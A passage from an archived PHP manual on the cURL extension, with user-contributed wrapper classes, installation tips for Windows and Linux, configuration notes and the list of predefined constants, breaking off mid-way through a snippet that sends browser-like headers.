This is something obscure I noticed... If you try to use something like:

<?php
curl_setopt($agent, CURLOPT_POST, true);
curl_setopt($agent, CURLOPT_POSTFIELDS, $post_data);
?>

so that you POST something to a URL. Then if you screwed up your URL slightly like:

http://www.example.com

rather than

http://www.example.com/ (note the slash)

hence, causing a redirect, then your posted data won't be sent once the redirect occurs.
eugene at ultimatecms dot co dot za 07-Dec-2009 03:38
A simple whois/domain availability check using cURL:

<?php

function domain_check($domain) {

$data = 'http://'.$domain;

// Create a curl handle to a non-existing location
$ch = curl_init($data);

// Execute
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

// Check if any error occured
if(curl_errno($ch))
{
    return '<span style="color:#22c922">The domain is available!</span>';
} else {
    return '<span style="color:#c92222">The domain is not available</span>';
}

// Close handle
curl_close($ch);
}

// Usage:
if(isset($_POST['domain'])) {
 echo domain_check($_POST['domain'].$_POST['tld']);
}

?>

<form method="POST" action="">
http:// <input type="text" name="domain">
<select name="tld">
<option value=".com">.com</option>
<option value=".net">.net</option>
<option value=".biz">.biz</option>
</option>
<input type="submit" value="Check">
</form>
artem at zabsoft dot co dot in 11-May-2009 11:43
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

[EDIT BY danbrown AT php DOT net: Original was written by (unlcuky13 AT gmail DOT com) on 19-APR-09.  The following note was included:
Below is the my way of using through PHP 5 objecte oriented encapsulation to make thing easier.]

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.google.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by "roetsch.beni at googlemail (dot) com" on 02-AUG-09, with the following note: "Fixes the bugfix: 417 bug at lighthttp server."]
admin at jeremyzaretski dot com 18-Mar-2009 08:14
I wanted to create a script that acted as a bridge between an external server and an internal server, wherein the internal server was not connected to the internet, but had information required by the users connecting to the external server. I hatched the idea to use curl to connect from the external server to the internal server (using request variables to send queries) and return everything (data and headers) returned by the file server.

After being driven mad by segmentation faults and crashes because the curl_exec didn't like me having the CURLOPT_HEADERFUNCTION's function directly dumping the header:

<?php
function Duplicate_Header($curl, $header)
{
    header($header);
    return strlen($header);
}
?>

... I tried (on a whim) duplicating and trimming the header and passing the duplicate to the header function...

<?php
function Duplicate_Header($curl, $header)
{
    $duplicate = trim($header);
    header($duplicate);
    return strlen($header);
}
?>

Which worked just fine. I don't know if this is just some quirk of PHP4 or my lack of understanding of how the curl and header function works.
web at davss dot com 26-Jan-2009 02:00
Here is a reusable curl object - please help me improve it. There is no erro handling (I don't need it) which can be implemented

<?php
class cURL {

    # defaul global options
    var $opts = array(
            CURLOPT_HEADER => FALSE,
            CURLOPT_RETURNTRANSFER => TRUE
    );

    function cURL(){
    }

    function r($ch,$opt){
        # assign global options array
        $opts = $this->opts;
        # assign user's options
        foreach($opt as $k=>$v){$opts[$k] = $v;}
        curl_setopt_array($ch,$opts);
        curl_exec($ch);
        $r['code'] = curl_getinfo($ch,CURLINFO_HTTP_CODE);
        $r['cr'] = curl_exec($ch);
        $r['ce'] = curl_errno($ch);
        curl_close($ch);
        return $r;
    }

    function get($url='',$opt=array()){
        # create cURL resource
        $ch = curl_init($url);
        return $this->r($ch,$opt);
    }

    function post($url='',$data=array(),$opt=array()){
        # set POST options
        $opts[CURLOPT_POST] = TRUE;
        $opts[CURLOPT_POSTFIELDS] = $data;

        # create cURL resource
        $ch = curl_init($url);
        return $this->r($ch,$opt);
    }
};
$cURL = new cURL();

#
# END of CLASS
#

/*
* test.php files for testing purposes - must be in the same folder undelss you specify $url path
*
<?php
echo " WORKING!!<p>";
if($_GET > 0){
print_r($_GET);
}
elseif($_POST > 0){
print_r($_POST);
}
?>
*/
/*
# EXAMPLE OF USE
$path = "http://"; # path to test.php file
$file = "test.php"; # safe the above code in text.php file
$url = $path . $file;
$post_data = array("FLD1"=>"VAL1","FLD2"=>"VAL2");
# user's curl options that override global if necessary
$o = array(CURLOPT_HEADER => TRUE,CURLOPT_RETURNTRANSFER => TRUE,CURLOPT_FAILONERROR=>TRUE);

function ccc($arr){
    echo "CODE: " . $arr['code'] . "<p>";
    echo "CE: " . $arr['ce'] . "<p>";
    echo "CR: <br />" . $arr['cr'] . "<p>";
}

#POST TEST
$cPost = $cURL->post($url,$post_data,$o); // you can remove options
echo "<h2>cPost</h2>";
ccc($cPost);

#GET TEST
$cGet = $cURL->post($url,$post_data,$o); // you can remove options
echo "<h2>cGet</h2>";
ccc($cGet);
*/

?>
pyromus at gmail dot com 16-Oct-2008 04:37
You can use this class for fast entry

<?php
class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}
function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Make sure this directory has the correct permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}
function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function post($url,$data) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 1);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($process, CURLOPT_POST, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
$cc = new cURL();
$cc->get('http://www.example.com');
$cc->post('http://www.example.com','foo=bar');
?>

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by "Anonymous" on 01-Dec-2008 @ 06:52.  Also replaced real URL with example.com as per RFC 2606.]

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by (manuel AT rankone DOT ch) on 24-NOV-09 to properly reference cURL initialization.]
eflash at gmx dot net 05-Oct-2008 09:45
In order to use curl with secure sites you will need a ca-bundle.crt file; here's a PHP script I've written which creates a fresh ca-bundle:
http://www.gknw.net/php/phpscripts/mk-ca-bundle.php
I've also written scripts in other languages, f.e. the Perl one which ships now with curl distributions:
http://curl.haxx.se/lxr/source/lib/mk-ca-bundle.pl
and also a Win32 WSH script if you prefer that:
http://www.gknw.net/vb/scripts/mk-ca-bundle.vbs

HTH, Guenter.
chdb_create
Introduction
Other Services


Introduction

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

These functions have been added in PHP 4.0.2.

User Contributed Notes

There are no user contributed notes for this page.
cURL
Installing/Configuring
cURL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

helvecio_oliveira at yahoo dot com dot br 21-Aug-2003 09:12
CURL install steps in Mandrake 9.1:
==========================================================
cp -r /usr/src/php-devel/extensions/curl /tmp/curl
cd /tmp/curl
phpize
./configure
make install
echo "extension = curl.so" > /etc/php/90_curl.ini

Restart apache web server.
==========================================================
curl.so is in:
/usr/lib/php/extensions/

look in phpinfo, the string:
/etc/php/90_curl.ini

Needs these  tools:
autoconf
automake
libtool
m4
php430-devel-430-11mdk.rpm

Some docs:
/usr/share/doc/php430-devel-430/SELF-CONTAINED-EXTENSIONS
Introduction
Requirements
cURL


Requirements

In order to use PHP's cURL functions you need to install the » libcurl package. PHP requires that you use libcurl 7.0.2-beta or higher. In PHP 4.2.3, you will need libcurl version 7.9.0 or higher. From PHP 4.3.0, you will need a libcurl version that's 7.9.8 or higher. PHP 5.0.0 requires a libcurl version 7.10.5 or greater.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

To use PHP's cURL support you must also compile PHP --with-curl[=DIR] where DIR is the location of the directory containing the lib and include directories. In the include directory there should be a folder named curl which should contain the easy.h and curl.h files. There should be a file named libcurl.a located in the lib directory. Beginning with PHP 4.3.0 you can configure PHP to use cURL for URL streams --with-curlwrappers .

Note: Note to Win32 Users
In order to enable this module on a Windows environment, libeay32.dll and ssleay32.dll must be present in your PATH. You don't need libcurl.dll from the cURL site.

User Contributed Notes

y dot gonzalez at bifie dot at 13-Oct-2011 05:06
For users of win7 64:
I just copied the library php_curl.dll to System32 and it works like charm ;-)
Joseph Marlin 13-Jun-2011 10:57
Ubuntu 11.04

I already had Apache and PHP5 setup, but simply adding php5-curl and curl did *not* work. I also had to get libcurl3 and libcurl3-dev. The full command:

sudo apt-get install curl libcurl3 libcurl3-dev php5-curl

You'll know if it works because phpinfo() will get a new section with Curl info.
Anonymous 04-Jan-2011 12:39
For Windows 64, put the DLLs into the Windows/SysWOW64 Folder.
Anonymous 30-Nov-2010 05:40
It's not sufficient to put libeay32.dll and ssleay32.dll into your path.  They also need to be in the PHP directory or it will not function, apparently.
wixelbomb at yahoo dot com 28-Dec-2009 11:17
Just an additional note for Windows XP installations ...

The instructions others have courteously given still lack one small item for those who have the Windows/system32 directory as the repository for the .dll files concerned with php_curl.

Go to the ext directory of your php installation and copy php_curl.dll  to the Windows/system32 folder after you have followed the advise given elsewhere.

So ...
1) remove ';' from extension=php_curl.dll in php.ini
2) ensure that  ssleay32.dll and libeay32.dll are in Windows/system32.
3) Copy php_curl.dll into Windows\System32 as well.

G'day

bearstate
regs at voidship dot net 23-Sep-2008 09:45
If you're dense like I am, spare yourself the trouble on an Ubuntu system (probably Debian too) and...

$ sudo apt-get install php5-curl

Then feel dumb, but not as dumb as me.
cristianods at yahoo dot com 14-Aug-2008 06:53
Tip for Installing cURL with AppServ development server on Windows

If you are running AppServ as a WAMP development environment on a Windows machine, you may experience difficulty installing cURL. Here are some helpful steps:

First go to the PHP directory and copy the following libraries to the windows/system32 dir.
ssleay32.dll
libeay32.dll

Open the php ini file and remove the ; from extension=php_curl.dll

Reboot your machine to load […]
comments at adstation-systems dot com 09-Aug-2008 08:23
You may be confused, as I was, by the instructions for installing cURL in php.  The instruction "To use PHP's cURL support you must also compile PHP --with-curl[=DIR]..." was murky to me, since I didn't compile php when I installed it.  I just copied all of the necessary files to the correct folders as described very clearly in the php manual.

I am using Windows XP and Apache with php 5.1.6. In this situation, and it may apply to php versions of 5.0 and later, all one needs to do is remove the ";" from the front of the directive extension=php_curl.dll.  You should also check to make certain that libeay32.dll and ssleay32.dll are in your php directory with the other dll's.  This directory should already be in you path, so the instruction to put them in you path is not critical.

You can then run phpinfo() and you should see a heading for curl in the listing.

Succinctly, my installation of cURL consisted of removing the semi-colon in front of the ;extension=php_curl.dll line in php.ini, saving php.ini and restarting Apache.  You may wish to try this if you are using php 5.0 and later and are having difficulty understanding the instructions on the cURL installation page at php.net

You might also find the information at http://curl.phptrack.com/forum/viewtopic.php?t=52 useful.
rohanshenoy at w3hobbyist dot com 21-Jul-2008 09:21
If you are using WAMPserver, you can enable the cURL extensions by
Left-click on WAMPserver tray icon>PHP>PHP extensions> Check php_curl.

Its already loaded on your disk, you have to activate it.
Christopher McCulloh 18-Jul-2008 08:40
If you are using XAMPP (http://www.apachefriends.org/en/index.html) all you have to do is uncomment this line (line 582):

extension=php_curl.dll

in the xampp\apache\bin\php.ini file.
asi at neo dot ee 13-Dec-2002 07:28
If anybody has problems with getting new curl working with older version of php then ...

I got stuck with installing curl-7.10.2+php 4.0.6 or better said configuring PHP with mentioned version of curl.

After some hopeless attempts to configure curl support into PHP I saw an error message:

"checking for cURL greater than or equal to 7.8... ./configure: line 11725: test: 070a02: integer expression expected"

after which configure said: "configure: error: cURL version 7.8 or later is required to compile php with cURL support"

On the mentioned line "test" is used to compare verion from curl-sonfig with preset value 70800 but ... test expects both values to be integer. From verson 7.8 curl outputs its version in hex...

I did'nt had the time to think about fixing this - I just deleted lines responsible and got curl working :)
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

cURL Configuration Options
Name | Default | Changeable | Changelog
curl.cainfo | NULL | PHP_INI_SYSTEM | Available since PHP 5.3.7.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

curl.cainfo string

A default value for the CURLOPT_CAINFO option. This is required to be an absolute path.

User Contributed Notes

cbrevard 14-May-2008 01:35
Just a nota bene for the noobs (like yours truly):

Although the extension has no "configuration directives" in php.ini, there is a curl extension that must be enabled or uncommented in php.ini
Installation
Resource Types
Installing/Configuring


Resource Types

This extension defines two resource types: a cURL handle and a cURL multi handle.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Descriptions and uses for these constants are described within the curl_setopt() and curl_getinfo() documentation.

CURLOPT_AUTOREFERER (integer)
Available since PHP 5.1.0
CURLOPT_COOKIESESSION (integer)
Available since PHP 5.1.0
CURLOPT_DNS_USE_GLOBAL_CACHE (integer)
CURLOPT_DNS_CACHE_TIMEOUT (integer)
CURLOPT_FTP_SSL (integer)
Available since PHP 5.2.0
CURLFTPSSL_TRY (integer)
Available since PHP 5.2.0
CURLFTPSSL_ALL (integer)
Available since PHP 5.2.0
CURLFTPSSL_CONTROL (integer)
Available since PHP 5.2.0
CURLFTPSSL_NONE (integer)
Available since PHP 5.2.0
CURLOPT_PRIVATE (integer)
Available since PHP 5.2.4
CURLOPT_FTPSSLAUTH (integer)
Available since PHP 5.1.0
CURLOPT_PORT (integer)
CURLOPT_FILE (integer)
CURLOPT_INFILE (integer)
CURLOPT_INFILESIZE (integer)
CURLOPT_URL (integer)
CURLOPT_PROXY (integer)
CURLOPT_VERBOSE (integer)
CURLOPT_HEADER (integer)
CURLOPT_HTTPHEADER (integer)
CURLOPT_NOPROGRESS (integer)
CURLOPT_NOBODY (integer)
CURLOPT_FAILONERROR (integer)
CURLOPT_UPLOAD (integer)
CURLOPT_POST (integer)
CURLOPT_FTPLISTONLY (integer)
CURLOPT_FTPAPPEND (integer)
CURLOPT_FTP_CREATE_MISSING_DIRS (integer)
CURLOPT_NETRC (integer)
CURLOPT_FOLLOWLOCATION (integer)
This constant is not available when open_basedir or safe_mode are enabled.
CURLOPT_FTPASCII (integer)
CURLOPT_PUT (integer)
CURLOPT_MUTE (integer)
CURLOPT_USERPWD (integer)
CURLOPT_PROXYUSERPWD (integer)
CURLOPT_RANGE (integer)
CURLOPT_TIMEOUT (integer)
CURLOPT_TIMEOUT_MS (integer)
CURLOPT_TCP_NODELAY (integer)
Available since PHP 5.2.1
CURLOPT_POSTFIELDS (integer)
CURLOPT_PROGRESSFUNCTION (integer)
Available since PHP 5.3.0
CURLOPT_REFERER (integer)
CURLOPT_USERAGENT (integer)
CURLOPT_FTPPORT (integer)
CURLOPT_FTP_USE_EPSV (integer)
CURLOPT_LOW_SPEED_LIMIT (integer)
CURLOPT_LOW_SPEED_TIME (integer)
CURLOPT_RESUME_FROM (integer)
CURLOPT_COOKIE (integer)
CURLOPT_SSLCERT (integer)
CURLOPT_SSLCERTPASSWD (integer)
CURLOPT_WRITEHEADER (integer)
CURLOPT_SSL_VERIFYHOST (integer)
CURLOPT_COOKIEFILE (integer)
CURLOPT_SSLVERSION (integer)
CURLOPT_TIMECONDITION (integer)
CURLOPT_TIMEVALUE (integer)
CURLOPT_CUSTOMREQUEST (integer)
CURLOPT_STDERR (integer)
CURLOPT_TRANSFERTEXT (integer)
CURLOPT_RETURNTRANSFER (integer)
CURLOPT_QUOTE (integer)
CURLOPT_POSTQUOTE (integer)
CURLOPT_INTERFACE (integer)
CURLOPT_KRB4LEVEL (integer)
CURLOPT_HTTPPROXYTUNNEL (integer)
CURLOPT_FILETIME (integer)
CURLOPT_WRITEFUNCTION (integer)
CURLOPT_READFUNCTION (integer)
CURLOPT_PASSWDFUNCTION (integer)
CURLOPT_HEADERFUNCTION (integer)
CURLOPT_MAXREDIRS (integer)
CURLOPT_MAXCONNECTS (integer)
CURLOPT_CLOSEPOLICY (integer)
CURLOPT_FRESH_CONNECT (integer)
CURLOPT_FORBID_REUSE (integer)
CURLOPT_RANDOM_FILE (integer)
CURLOPT_EGDSOCKET (integer)
CURLOPT_CONNECTTIMEOUT (integer)
CURLOPT_CONNECTTIMEOUT_MS (integer)
CURLOPT_SSL_VERIFYPEER (integer)
CURLOPT_CAINFO (integer)
CURLOPT_CAPATH (integer)
CURLOPT_COOKIEJAR (integer)
CURLOPT_SSL_CIPHER_LIST (integer)
CURLOPT_BINARYTRANSFER (integer)
CURLOPT_NOSIGNAL (integer)
CURLOPT_PROXYTYPE (integer)
CURLOPT_BUFFERSIZE (integer)
CURLOPT_HTTPGET (integer)
CURLOPT_HTTP_VERSION (integer)
CURLOPT_SSLKEY (integer)
CURLOPT_SSLKEYTYPE (integer)
CURLOPT_SSLKEYPASSWD (integer)
CURLOPT_SSLENGINE (integer)
CURLOPT_SSLENGINE_DEFAULT (integer)
CURLOPT_SSLCERTTYPE (integer)
CURLOPT_CRLF (integer)
CURLOPT_ENCODING (integer)
CURLOPT_PROXYPORT (integer)
CURLOPT_UNRESTRICTED_AUTH (integer)
CURLOPT_FTP_USE_EPRT (integer)
CURLOPT_HTTP200ALIASES (integer)
CURLOPT_HTTPAUTH (integer)
CURLAUTH_BASIC (integer)
CURLAUTH_DIGEST (integer)
CURLAUTH_GSSNEGOTIATE (integer)
CURLAUTH_NTLM (integer)
CURLAUTH_ANY (integer)
CURLAUTH_ANYSAFE (integer)
CURLOPT_PROXYAUTH (integer)
CURLOPT_MAX_RECV_SPEED_LARGE (integer)
Available since PHP 5.4.0 and cURL 7.15.5
CURLOPT_MAX_SEND_SPEED_LARGE (integer)
Available since PHP 5.4.0 and cURL 7.15.5
CURLCLOSEPOLICY_LEAST_RECENTLY_USED (integer)
CURLCLOSEPOLICY_LEAST_TRAFFIC (integer)
CURLCLOSEPOLICY_SLOWEST (integer)
CURLCLOSEPOLICY_CALLBACK (integer)
CURLCLOSEPOLICY_OLDEST (integer)
CURLINFO_PRIVATE (integer)
Available since PHP 5.2.4
CURLINFO_EFFECTIVE_URL (integer)
CURLINFO_HTTP_CODE (integer)
CURLINFO_HEADER_OUT (integer)
Available since PHP 5.1.3
CURLINFO_HEADER_SIZE (integer)
CURLINFO_REQUEST_SIZE (integer)
CURLINFO_TOTAL_TIME (integer)
CURLINFO_NAMELOOKUP_TIME (integer)
CURLINFO_CONNECT_TIME (integer)
CURLINFO_PRETRANSFER_TIME (integer)
CURLINFO_SIZE_UPLOAD (integer)
CURLINFO_SIZE_DOWNLOAD (integer)
CURLINFO_SPEED_DOWNLOAD (integer)
CURLINFO_SPEED_UPLOAD (integer)
CURLINFO_FILETIME (integer)
CURLINFO_SSL_VERIFYRESULT (integer)
CURLINFO_CONTENT_LENGTH_DOWNLOAD (integer)
CURLINFO_CONTENT_LENGTH_UPLOAD (integer)
CURLINFO_STARTTRANSFER_TIME (integer)
CURLINFO_CONTENT_TYPE (integer)
CURLINFO_REDIRECT_TIME (integer)
CURLINFO_REDIRECT_COUNT (integer)
CURL_TIMECOND_IFMODSINCE (integer)
CURL_TIMECOND_IFUNMODSINCE (integer)
CURL_TIMECOND_LASTMOD (integer)
CURL_VERSION_IPV6 (integer)
CURL_VERSION_KERBEROS4 (integer)
CURL_VERSION_SSL (integer)
CURL_VERSION_LIBZ (integer)
CURLVERSION_NOW (integer)
CURLE_OK (integer)
CURLE_UNSUPPORTED_PROTOCOL (integer)
CURLE_FAILED_INIT (integer)
CURLE_URL_MALFORMAT (integer)
CURLE_URL_MALFORMAT_USER (integer)
CURLE_COULDNT_RESOLVE_PROXY (integer)
CURLE_COULDNT_RESOLVE_HOST (integer)
CURLE_COULDNT_CONNECT (integer)
CURLE_FTP_WEIRD_SERVER_REPLY (integer)
CURLE_FTP_ACCESS_DENIED (integer)
CURLE_FTP_USER_PASSWORD_INCORRECT (integer)
CURLE_FTP_WEIRD_PASS_REPLY (integer)
CURLE_FTP_WEIRD_USER_REPLY (integer)
CURLE_FTP_WEIRD_PASV_REPLY (integer)
CURLE_FTP_WEIRD_227_FORMAT (integer)
CURLE_FTP_CANT_GET_HOST (integer)
CURLE_FTP_CANT_RECONNECT (integer)
CURLE_FTP_COULDNT_SET_BINARY (integer)
CURLE_PARTIAL_FILE (integer)
CURLE_FTP_COULDNT_RETR_FILE (integer)
CURLE_FTP_WRITE_ERROR (integer)
CURLE_FTP_QUOTE_ERROR (integer)
CURLE_HTTP_NOT_FOUND (integer)
CURLE_WRITE_ERROR (integer)
CURLE_MALFORMAT_USER (integer)
CURLE_FTP_COULDNT_STOR_FILE (integer)
CURLE_READ_ERROR (integer)
CURLE_OUT_OF_MEMORY (integer)
CURLE_OPERATION_TIMEOUTED (integer)
CURLE_FTP_COULDNT_SET_ASCII (integer)
CURLE_FTP_PORT_FAILED (integer)
CURLE_FTP_COULDNT_USE_REST (integer)
CURLE_FTP_COULDNT_GET_SIZE (integer)
CURLE_HTTP_RANGE_ERROR (integer)
CURLE_HTTP_POST_ERROR (integer)
CURLE_SSL_CONNECT_ERROR (integer)
CURLE_FTP_BAD_DOWNLOAD_RESUME (integer)
CURLE_FILE_COULDNT_READ_FILE (integer)
CURLE_LDAP_CANNOT_BIND (integer)
CURLE_LDAP_SEARCH_FAILED (integer)
CURLE_LIBRARY_NOT_FOUND (integer)
CURLE_FUNCTION_NOT_FOUND (integer)
CURLE_ABORTED_BY_CALLBACK (integer)
CURLE_BAD_FUNCTION_ARGUMENT (integer)
CURLE_BAD_CALLING_ORDER (integer)
CURLE_HTTP_PORT_FAILED (integer)
CURLE_BAD_PASSWORD_ENTERED (integer)
CURLE_TOO_MANY_REDIRECTS (integer)
CURLE_UNKNOWN_TELNET_OPTION (integer)
CURLE_TELNET_OPTION_SYNTAX (integer)
CURLE_OBSOLETE (integer)
CURLE_SSL_PEER_CERTIFICATE (integer)
CURLE_GOT_NOTHING (integer)
CURLE_SSL_ENGINE_NOTFOUND (integer)
CURLE_SSL_ENGINE_SETFAILED (integer)
CURLE_SEND_ERROR (integer)
CURLE_RECV_ERROR (integer)
CURLE_SHARE_IN_USE (integer)
CURLE_SSL_CERTPROBLEM (integer)
CURLE_SSL_CIPHER (integer)
CURLE_SSL_CACERT (integer)
CURLE_BAD_CONTENT_ENCODING (integer)
CURLE_LDAP_INVALID_URL (integer)
CURLE_FILESIZE_EXCEEDED (integer)
CURLE_FTP_SSL_FAILED (integer)
CURLFTPAUTH_DEFAULT (integer)
Available since PHP 5.1.0
CURLFTPAUTH_SSL (integer)
Available since PHP 5.1.0
CURLFTPAUTH_TLS (integer)
Available since PHP 5.1.0
CURLPROXY_HTTP (integer)
CURLPROXY_SOCKS5 (integer)
CURL_NETRC_OPTIONAL (integer)
CURL_NETRC_IGNORED (integer)
CURL_NETRC_REQUIRED (integer)
CURL_HTTP_VERSION_NONE (integer)
CURL_HTTP_VERSION_1_0 (integer)
CURL_HTTP_VERSION_1_1 (integer)
CURLM_CALL_MULTI_PERFORM (integer)
CURLM_OK (integer)
CURLM_BAD_HANDLE (integer)
CURLM_BAD_EASY_HANDLE (integer)
CURLM_OUT_OF_MEMORY (integer)
CURLM_INTERNAL_ERROR (integer)
CURLMSG_DONE (integer)

User Contributed Notes

s dot coletta at unidata dot it 08-Oct-2009 02:17
Beware of CURLE_* constants!

On the official site:

http://curl.haxx.se/libcurl/c/libcurl-errors.html

some constants are different, some missing compared to the PHP implementation.

Some examples:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT

So if you use the second, it won't march the error 28 because in PHP it is not defined that way.

The same is for these:

CURLE_HTTP_RETURNED_ERROR
CURLE_UPLOAD_FAILED
CURLE_INTERFACE_FAILED
CURLE_SSL_CERTPROBLEM
CURLE_SEND_FAIL_REWIND
CURLE_LOGIN_DENIED
CURLE_AGAIN

that are in someway named differently or missing from PHP.
Kelvin Lim 05-Nov-2008 05:46
Note that CURLAUTH_NTLM refers specifically to NTLMv1 authentication.  As of this writing, the cURL library does not yet support NTLMv2.
Ron 04-Aug-2007 11:48
<?
/*
* Author: Ron
* Released: August 4, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.ericgiguere.com/tools/http-header-viewer.html';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
